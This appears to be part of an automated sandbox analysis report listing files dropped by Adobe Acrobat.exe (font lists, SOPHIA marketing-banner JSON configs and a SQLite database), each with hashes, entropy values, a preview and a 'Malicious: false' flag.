C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3836

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356430008790175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJM3g98kUwPeUkwRe9:YvXKXljWvR/ZwHAakVGMbLUkee9
MD5:	DE2BD970063E201E6301356E9BC5E8C6
SHA1:	C1C516B16301AA054FA9CADE4CC42BC77ACD7C78
SHA-256:	FE6E695BCC23E56E87D06AA759BA6D5924A70418CF5FC08ACC8E023B60B53A7E
SHA-512:	63B06A3008EE0702D10ED8749B5794EA942779CB4EB7B17D175AAE548A021BB42CCF1A02973827A930A3A6040EC6EC57D6545C76EAE4953C175DA07F9742897F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292748701875203
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJfBoTfXpnrPeUkwRe9:YvXKXljWvR/ZwHAakVGWTfXcUkee9
MD5:	A5A1A89C0411A1070628CD516C247FE7
SHA1:	1258143FA35C17B8BFA7B39179278436F90A6500
SHA-256:	DA6F1DD0D49E7E3E99450F22A34B763CDB92D1D047DDAE2E449EA8A466C03DC8
SHA-512:	D674123EA367B18BF65BF2C5EBA11D132A9A464FFA61D792185B22C0AFB9E9E34110AE84B024687AD920204519C602B187160D09445AEDC723313B7480FFA6D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272016495789872
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJfBD2G6UpnrPeUkwRe9:YvXKXljWvR/ZwHAakVGR22cUkee9
MD5:	4176CF5856822ABEFF7EA13E55003DF3
SHA1:	B3F22BE27D4AAF33FFE3E6EA91FB3AA35C552C21
SHA-256:	010FE3718562CE8B0E71C4ACC72B36CCB660D1EF1396ABAE8A29B47F8F426397
SHA-512:	3A3E8FBCD3449EEE3F5A0AE9CEE1AAD5F4E56629D914712BD27D4C6F03563E0DF879E779B1099E4AD74A8FD8F758C2BC850A9EFD0D6A9C4D5EDBF3184BC491F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.333135278931015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJfPmwrPeUkwRe9:YvXKXljWvR/ZwHAakVGH56Ukee9
MD5:	AE9B9EFFAE39FB595D312B202B7DF5DD
SHA1:	B254B8F15409B04E5F3212222F42E7DE190860F9
SHA-256:	B5BF06405BE80BDA76C57770F87A32FB53A490D8104B942A6307F24DE95BFD78
SHA-512:	7A39B6505001A579F3BA3F93E46608DC31F04B010D7C44F69D3C337A8A0F776A2640DB5288D9BE1E9CECF633F11CDDC2B209091F62571C5F233C9F16898A1688
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692542609473361
Encrypted:	false
SSDEEP:	24:Yv6XlSJh+ppLgE9cQx8LennAvzBvkn0RCmK8czOCCSk:YvGSJh+phgy6SAFv5Ah8cv/k
MD5:	C4BF15F7E90760157303DB699BD3BA72
SHA1:	DFEED3CD708C54431CC38339E37A28D16CA34852
SHA-256:	59DE97CACDA9FBA3235FE4568A9E7EF7797A2CD106C0266FA3A35E30B1DD828F
SHA-512:	79B8145ADA2E091BDE87CAE73DBA59D1EA5F7B6211A31D9D3BF6E4378748904C769A648C2347391D713030226697F72651E3A23FD64CD17084F1FCC59EDD0A02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283090625619128
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJf8dPeUkwRe9:YvXKXljWvR/ZwHAakVGU8Ukee9
MD5:	D42A83CDCC1E53095360B8460C9069C7
SHA1:	0F7C54A91BF1598F512DB138DA4177009A6F4201
SHA-256:	9403163741E10111AE05301009258B0EF7619BED09B5D037D6E79AF47319DF24
SHA-512:	5C6E73B01FEAA97E2C0E3B20996E2DB32DD555C6F3403B884E4BE66F8F6348D32FB4BF2618991472B46D8D1F4DB487A5DE9ABEDC70FFBBB423B863A5918E6E62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.281377893585741
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJfQ1rPeUkwRe9:YvXKXljWvR/ZwHAakVGY16Ukee9
MD5:	6E6253BAAAE82E529CD5557443EFA7C9
SHA1:	E1CE30BF2AFC19BE532B945724E50C4BF574B5FD
SHA-256:	11578AD074EF77B56616FBF07B1DA6E48E8C22FA7D152813C369CE74808762C9
SHA-512:	95E307D2EFE41B8820B8A7BB96123513667E5A0434BF2731616A463161DE3DF1DA2856EBA46B66668A248ED7893A867134CB17619E52AD71905D3E6C05B71799
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299324676443171
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJfFldPeUkwRe9:YvXKXljWvR/ZwHAakVGz8Ukee9
MD5:	753124CA082EA856E80E89A0242C0562
SHA1:	A3D299E64EDAACC768A6017CD0FF720303FB0AF2
SHA-256:	3CC424E5A160F76676E7EDBC4E758730E31D000587D317BA0CB709E430ED8C58
SHA-512:	C13D192B3F0C76D37E9762BF25476AE6E82E854CDF7375C2812DB71998C8FC9DF9A345956918D526A598FB75C404323C0C3D88123A98673B4B4AE3AEA8C51CFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310692496599902
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJfzdPeUkwRe9:YvXKXljWvR/ZwHAakVGb8Ukee9
MD5:	79B61E863EB3BC60B4052A30EDAD95F2
SHA1:	17961B1BF74148EFE45E2239D24D476397176ADE
SHA-256:	84C23D17D21E7A5BB22E3A1860EBC29943AF56512DD3873016558C9A321A6AA1
SHA-512:	8F53AE148E6D5F68469459146C12F6BD73C8A45F16448D49020C7E5D3F60BB3A2F55F2AEE55D26BB2249B4C2DD2805CE54983548F95D224F347943B94563A07D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291156216031332
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJfYdPeUkwRe9:YvXKXljWvR/ZwHAakVGg8Ukee9
MD5:	169919852D8BF625A75208820DAB2C35
SHA1:	287FB525DB71A32F7E290BADAEE204ED4540DAA6
SHA-256:	FF6013BD86D73946A1C087F973C97E9AE0A2898436A562B3B5CD0FD851AC79E5
SHA-512:	DFE8CE9C9A4ACEFF1C7E168DDB835DE2E5245F7235AF21EAD99A45CC807C043F184B827B864F13B244757C269911557D39209F0F8248DE483437A2F698A1BD2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.277632242052683
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJf+dPeUkwRe9:YvXKXljWvR/ZwHAakVG28Ukee9
MD5:	7C10A469A1351099124E67A07F9E12A7
SHA1:	E8EEC0DABF1F023C7481551B8223E70A480D5B90
SHA-256:	27CF7DEFD91EAC236D8113A33DD0C0652DCD6EE2DA459EBF4B4FF1259F37519B
SHA-512:	8EE2C24DB353F041FC085EFB669DB2AC518B78315C79A7C9C5D6D7396D73F79989D217B9504A726777FED4345489CCC07CFD4422EBA9FBAC7BF102D9E7A75410
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2747640957256
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJfbPtdPeUkwRe9:YvXKXljWvR/ZwHAakVGDV8Ukee9
MD5:	AC4158FC80567A4FE243E2C742FA113F
SHA1:	08344140D43771EB66AC7821933EFB9ADAED2C66
SHA-256:	7F87BB843987F115683FE0C9058F77E9826C553A5056CB5689F1033EE91F6B49
SHA-512:	39F771A0B1E870031854EF9D9C9C6CECD90A245E2283871094C3EA4CDA8F95B1323F2492B4533E1D660374AD5B3B18D48C7342FC7538D400A91A8F343E5EA5CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.273684633789595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJf21rPeUkwRe9:YvXKXljWvR/ZwHAakVG+16Ukee9
MD5:	6C4A97DE252B90B2B893674916F4F061
SHA1:	95E9783D06FCED84D1018964414134F1DD58EDAC
SHA-256:	D70EBF8BC581280EB4EDC709A97C62149846CA054EDB133FC8DA06FAECC76C34
SHA-512:	14761D4247F708D9C5FDAB5DF044521E61E40825525E9BF326B5EF0A50E94F1B44F4F29DE4309563D5A16B6F6C27DF24F4444F5B53CDB5E86E5F57F74D4B8EBB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668033895108103
Encrypted:	false
SSDEEP:	24:Yv6XlSJh+ZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSk:YvGSJh+lBgkDMUJUAh8cvMk
MD5:	ABDCC1F6AC24CC14B6F0652C6B3B879D
SHA1:	4D69AB024736183E895B3FE67971B6919C3034EC
SHA-256:	02110557AB4F3936CC1738FECF5D9530A6D6712C00853C613A678249AFBC83E0
SHA-512:	9DDF637BFBDE3C0964E6861AE8E797DC786E8C3E2889B80E6ED870628E6D4B021C0A84843A61757D5278B184D3DFA3658F9C01468052A47011085D9341D0ED99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.250830193283549
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJfshHHrPeUkwRe9:YvXKXljWvR/ZwHAakVGUUUkee9
MD5:	7399801243F8E769AB6264EB5437A7EF
SHA1:	229C5D4BC988B33BD1E4C9B4D621F319ACC3737B
SHA-256:	2C1EDB4047F0021ECA57D79816F1E45516D09A315FF8A30EE0FC62BCDE0359E1
SHA-512:	9D05A780D79C224F0659998CBFBADC1A1E7AC3D2AA77FC59915A09913EE4F1C00B11F6A0F6577CB40DCB3F35E9782C059FE628E230A2F9625F8871D87E008140
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.267363371389329
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdPlJflYvB3/dVlPIHAR0Y+keoAvJTqgFCrPeUkwRe9:YvXKXljWvR/ZwHAakVGTq16Ukee9
MD5:	F448F13D97C35A1DBF8A264AC32CC359
SHA1:	1202A7B0BDFC668BCA15B201183B093A57ABE99D
SHA-256:	E3A66FE129C2BF0739EF10E65D589DDA51954E59F16339C8E80F5BBD468D5D7B
SHA-512:	F202F2E4A49B514065A6872FA4DDA8FC74A468233E829F545E8B767EADF5841606CD0C6ECDE1496AD0ED864DC0707E120B840C1C655B4C7726D63AE433C0FD3F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5540950b-1e6e-4a6b-be81-23c4bb87165a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748327922,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1464523042762815
Encrypted:	false
SSDEEP:	48:Yl9GXKyj013nBkNXWLo7xx+jFoCaA9+wt:6Mal3iNGLYkoMdt
MD5:	F652685B9C11D15A0CCC212DAE59E0A6
SHA1:	194BFCFB1C9A15FEE3611FE66276850175E9A2B0
SHA-256:	EB199149903EFF86E5084B4AA51766F351BE1803944148881E4D882C4F5758EE
SHA-512:	2575BB80E6B659B5D2D44DBDD35A3119984F57537805B1DD9323AB166ECD96578FBB206222DD349B3464F43ED7A8FBFA20B863B890B99393C1BDF8D404B36B5B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7c858b0e18fbf2edbd4c3b31553787bd","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736571807000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"fcd12162b1242bb1b567252a0bb28b9c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736571807000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"50a3d43bbd61d026ed96912b4c4884b2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736571807000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"eed2adbbeafe8904ecd727b7764f00a5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736571807000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"21964694e4f2475b5d20be85078c3554","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736571807000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6f3b9bc148e415352f3cfbaaae9ab431","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
